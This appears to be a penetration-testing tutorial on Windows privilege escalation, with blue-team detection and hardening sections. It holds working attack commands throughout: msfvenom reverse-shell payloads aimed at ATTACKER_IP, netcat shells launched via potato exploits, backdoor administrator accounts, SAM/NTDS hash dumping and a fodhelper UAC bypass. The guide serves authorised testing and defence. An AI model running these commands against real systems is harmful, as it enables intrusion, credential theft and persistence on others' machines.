11 min read

Post-Exploitation

Windows Privilege Escalation

Local privilege escalation on Windows involves exploiting misconfigurations, vulnerable services, and token manipulation to elevate from standard user to SYSTEM or Administrator.

Danger

Authorisation is per action, not per host. Replacing a service binary, changing a service configuration, installing a kernel driver or writing an auto-elevating registry key are changes to the client's system, and each one needs to be inside the written objective. Agree the restart window for any service you touch, record the original binary or configuration before you replace it, and revert the change as part of the test rather than at the end of the engagement.

Initial Enumeration

System Information

Check current user and privileges.

system-information.ps1
whoami /all
whoami /priv
whoami /groups

System information.

systeminfo.ps1
systeminfo
hostname
net user %username%
net localgroup administrators

Check installed patches (for kernel exploits). wmic was removed in Windows 11 24H2 and Windows Server 2025 and is no longer available as a Feature on Demand, so query the CIM class instead.

get-ciminstance-win32-quickfixengineering.ps1
Get-CimInstance Win32_QuickFixEngineering | Select-Object HotFixID,Description,InstalledOn

Automated Enumeration Tools

WinPEAS

Comprehensive Windows privilege escalation scanner.

winpeas.ps1
# Download WinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe -o winpeas.exe

# Run full scan
.\winPEASany.exe

# Run specific checks
.\winPEASany.exe servicesinfo
.\winPEASany.exe applicationsinfo

PowerUp

PowerShell privilege escalation script.

powerup.ps1
# Import module
Import-Module .\PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Specific checks
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService

Seatbelt & SharpUp

GhostPack enumeration tools.

seatbelt-and-sharpup.ps1
# Seatbelt - comprehensive system survey
.\Seatbelt.exe -group=all

# SharpUp - quick privesc check
.\SharpUp.exe audit

PrivescCheck

PowerShell alternative to WinPEAS.

privesccheck.ps1
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended

Service Misconfigurations

Unquoted Service Paths

Find services with unquoted paths containing spaces. wmic service is gone in Windows 11 24H2+, so read the same properties from Win32_Service.

unquoted-service-paths.ps1
Get-CimInstance Win32_Service -Filter "StartMode='Auto'" | Where-Object { $_.PathName -notlike 'C:\Windows*' } | Select-Object Name,DisplayName,PathName,StartMode

PowerUp detection.

get-unquotedservice.ps1
Get-UnquotedService

Exploitation: If path is C:\Program Files\Vuln Service\service.exe, create executable at C:\Program.exe or C:\Program Files\Vuln.exe.

Writable Service Binaries

Check for services with writable executables.

writable-service-binaries.ps1
# Using accesschk (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula

# Check specific service
accesschk.exe -ucqv "VulnService" /accepteula

PowerUp - find modifiable service files.

get-modifiableservicefile.ps1
Get-ModifiableServiceFile

Exploitation: Replace service binary with malicious executable, restart service.

msfvenom-p-win-x64-shell-reverse-tcp-lhost.ps1
# Create malicious service binary (msfvenom)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > malicious.exe

# Replace and restart
copy malicious.exe "C:\Path\To\Service.exe"
sc stop VulnService
sc start VulnService

Modifiable Service Configuration

Check if service configuration can be modified.

modifiable-service-configuration.ps1
Get-ModifiableService

Exploitation: Change service binary path.

sc-config-vulnservice-binpath.ps1
sc config VulnService binpath= "C:\Windows\Temp\malicious.exe"
sc stop VulnService
sc start VulnService

DLL Hijacking

Find services loading DLLs from writable locations.

dll-hijacking.txt
# Use Process Monitor to find missing DLLs
# Filter: Result = NAME NOT FOUND, Path ends with .dll

# Common hijackable locations
C:\Windows\Temp
C:\Users\Public
Current working directory of service

Create malicious DLL.

dll-hijacking.sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > malicious.dll

Token Impersonation (Potato Attacks)

Information

Potato attacks exploit SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege to escalate to SYSTEM. These privileges are common on service accounts (IIS, SQL Server, etc.).

Check for required privileges.

token-impersonation-potato-attacks.ps1
whoami /priv | findstr -i "SeImpersonate SeAssignPrimaryToken"

PrintSpoofer (Windows 10/Server 2019+)

printspoofer-win-10-srv-2019.ps1
# Get SYSTEM shell
.\PrintSpoofer.exe -i -c cmd

# Execute specific command
.\PrintSpoofer.exe -c "net user hacker Password123! /add"
.\PrintSpoofer.exe -c "net localgroup administrators hacker /add"

GodPotato (Universal - Windows 8+)

godpotato-universal-win-8.ps1
# Execute command as SYSTEM
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user hacker Password123! /add"

# Reverse shell
.\GodPotato.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER_IP 4444 -e cmd"

JuicyPotato (Windows 7/8/Server 2008/2012/2016)

juicypotato-win-7-8-srv-2008-2012-2016.ps1
# Find valid CLSID for target OS
# https://github.com/ohpe/juicy-potato/tree/master/CLSID

# Execute with specific CLSID
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

SweetPotato

sweetpotato.ps1
.\SweetPotato.exe -p cmd.exe -a "/c whoami"
.\SweetPotato.exe -p C:\Windows\Temp\nc.exe -a "ATTACKER_IP 4444 -e cmd"

RoguePotato

roguepotato.ps1
# Requires attacker machine listening on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999

.\RoguePotato.exe -r ATTACKER_IP -e "cmd.exe /c whoami" -l 9999

Registry Misconfigurations

AlwaysInstallElevated

Check if MSI files always install with elevated privileges.

alwaysinstallelevated.ps1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Exploitation: Create malicious MSI.

alwaysinstallelevated.sh
# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi > malicious.msi

# Install as user (will run as SYSTEM)
msiexec /quiet /qn /i malicious.msi

AutoRun Registry Keys

Check autorun locations for writable entries.

autorun-registry-keys.ps1
# Check Run keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Check for writable paths in autorun entries
accesschk.exe -wvu "C:\Path\From\Registry"

Scheduled Tasks

List scheduled tasks.

scheduled-tasks.ps1
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "task to run"

Check for writable task executables.

schtasks-query-fo-list.ps1
# Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr -i "SYSTEM"

# Check if binary is writable
accesschk.exe -wvu "C:\Path\To\Task\Binary.exe"

Credential Hunting

Search for passwords in files.

credential-hunting.ps1
# Search common files
findstr /si "password" *.txt *.ini *.config *.xml
findstr /si "pwd" *.txt *.ini *.config *.xml

# Search registry for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Check stored credentials
cmdkey /list

Check for saved credentials.

runas-savecred-user-admin-cmd-exe.ps1
# Use saved credentials
runas /savecred /user:admin cmd.exe

# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="ProfileName" key=clear

SeBackupPrivilege Abuse

SeBackupPrivilege lets an account read any file regardless of its ACL, and SeRestorePrivilege does the same for writes; backup mode implies both. A token holding them can copy ntds.dit, the SAM and the registry hives without touching an ACL. Treat this as the on-host equivalent of DCSync: it yields the same hashes without a directory-replication request, so the usual 4662-on-the-domain-object detection never fires.

sebackupprivilege-abuse.ps1
# Method 1: registry backup (SAM / SYSTEM / SECURITY hives)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY   # LSA secrets

# Extract offline
secretsdump.py -sam SAM -system SYSTEM LOCAL
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Method 2: robocopy backup mode (needs SeBackupPrivilege AND SeRestorePrivilege)
robocopy /b C:\Users\Administrator\Desktop C:\temp

# Method 3: diskshadow — the one that works against a locked ntds.dit
# script.txt:
#   set context persistent nowriters
#   add volume c: alias mydrive
#   create
#   expose %mydrive% x:
diskshadow /s script.txt
robocopy /b x:\Windows\NTDS C:\temp ntds.dit

# Then extract from the copy
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Detection: neither robocopy /b nor diskshadow is normal on a workstation, and diskshadow creating a shadow copy then reading x:\Windows\NTDS is a high-fidelity signal. Because no directory replication happens, pair it with file-access auditing on the NTDS path and process-creation events for diskshadow.exe rather than relying on 4662.

UAC Bypass

Check UAC level.

uac-bypass.ps1
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

UACME - UAC bypass tool collection.

akagi64-exe.ps1
# List methods
Akagi64.exe

# Execute bypass (method 33 = fodhelper)
Akagi64.exe 33 C:\Windows\Temp\malicious.exe

Fodhelper bypass (manual).

reg-add-hkcu-software-classes-ms-settings.ps1
# Set registry key
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c start C:\Windows\Temp\malicious.exe" /f

# Trigger
fodhelper.exe

Tools Reference

WinPEAS

Comprehensive Windows privesc scanner

GitHub →

PowerUp

PowerShell privesc detection

GitHub →

GodPotato

Universal potato attack

GitHub →

UACME

UAC bypass methods

GitHub →

Detection & Blue Team

Technique Event IDs Detection Approach
Service Abuse 7045, 4697, 4688 New service creation or modification by non-admin users. Monitor sc.exe and services.exe child processes.
Token Impersonation 4688, 4672 SeImpersonatePrivilege abuse by service accounts. Monitor potato exploits (JuicyPotato, PrintSpoofer, GodPotato).
DLL Hijacking Sysmon 7 (Image Load) DLLs loaded from writable paths by elevated processes. Monitor unsigned DLL loads in system directories.
UAC Bypass 4688 (auto-elevated procs) Suspicious auto-elevated process spawning cmd/powershell. Monitor fodhelper.exe, eventvwr.exe child processes.

Evidence Collection

Starting context: The low-privilege token you actually held: whoami /all, whoami /priv, group membership and integrity level, captured before the escalation.

The misconfiguration: The writable path, service ACL, registry key or privilege — with an accesschk / icacls line proving the write, not just a scanner’s opinion.

Escalation proof: whoami /priv or the token description in the elevated context, plus the command that produced it.

What SYSTEM adds: One concrete action in the new context (a file read that was denied, a registry write, a local account) — not a shell prompt screenshot.

CVSS range: Local privesc from a standard user: 7.8–8.8 · service binary or unquoted path with a low-priv write: 7.8 · SeImpersonate abuse: 7.8.

False Positive Identification

  • An unquoted service path with no space: The bug needs a space in the unquoted path. C:\Tools\svc.exe is untidy, not exploitable — check for a candidate path the service will actually load.
  • A writable directory above a service binary: Writability only matters where the loader looks. Confirm the service’s own directory or a PATH entry is writable, not a sibling folder.
  • SeImpersonate held by a service account: IIS, SQL Server and scheduled tasks hold it by design. It is a finding when an attacker-controlled process holds it, or when the account is not a service account.
  • A UAC prompt seen once: A consent prompt is the control working. The finding is an auto-elevating binary that runs without one, or EnableLUA=0.
  • WinPEAS colour without reachability: Scanner output flags candidates. Reproduce the write and the execution in the client’s environment before it becomes a finding.
  • A Run key you can read: Read access is not write access. accesschk -w or an actual value write is the proof.

Testing Checklist

Enumerate before exploiting

  • ☐ whoami /all, whoami /priv, local group membership, integrity level
  • ☐ Patch level via Win32_QuickFixEngineering — not wmic
  • ☐ Service paths, binary ACLs and configuration rights, one query each
  • ☐ Writable directories in PATH and in each service’s install folder
  • ☐ AlwaysInstallElevated, AutoRun keys, scheduled task actions
  • ☐ Saved credentials: cmdkey, unattend files, config files, history

Exploit one path at a time

  • ☐ Record the finding and its proof before changing anything
  • ☐ Prefer the least disruptive primitive — a token over a service restart, a restart over a kernel driver
  • ☐ Note what the exploit changes so it can be reverted
  • ☐ Test kernel exploits in the lab first; a crash is an outage, not a finding

Remediation & Hardening

Remove the write paths

  • • Quote every unquoted service path, and keep install directories out of user-writable locations
  • • Audit service binary and configuration ACLs — no interactive user should hold SERVICE_CHANGE_CONFIG or FILE_WRITE on them
  • • Remove user-writable directories from the machine PATH

Reduce the token

  • • Run services under gMSA or virtual accounts rather than a shared service account with SeImpersonate
  • • Remove AlwaysInstallElevated from both HKLM and HKCU
  • • Keep UAC at the default consent level for administrators, and do not disable EnableLUA

Detect the pattern

  • • Alert on a service binary being replaced, or 7045 installs outside deployment tooling
  • • Watch for auto-elevating binaries (fodhelper, eventvwr, computerdefaults) spawning a child process
  • • Log 4672 (special privileges) for accounts that should never hold them
  • • Treat SeBackupPrivilege and SeDebugPrivilege as Tier 0 rights and audit their holders quarterly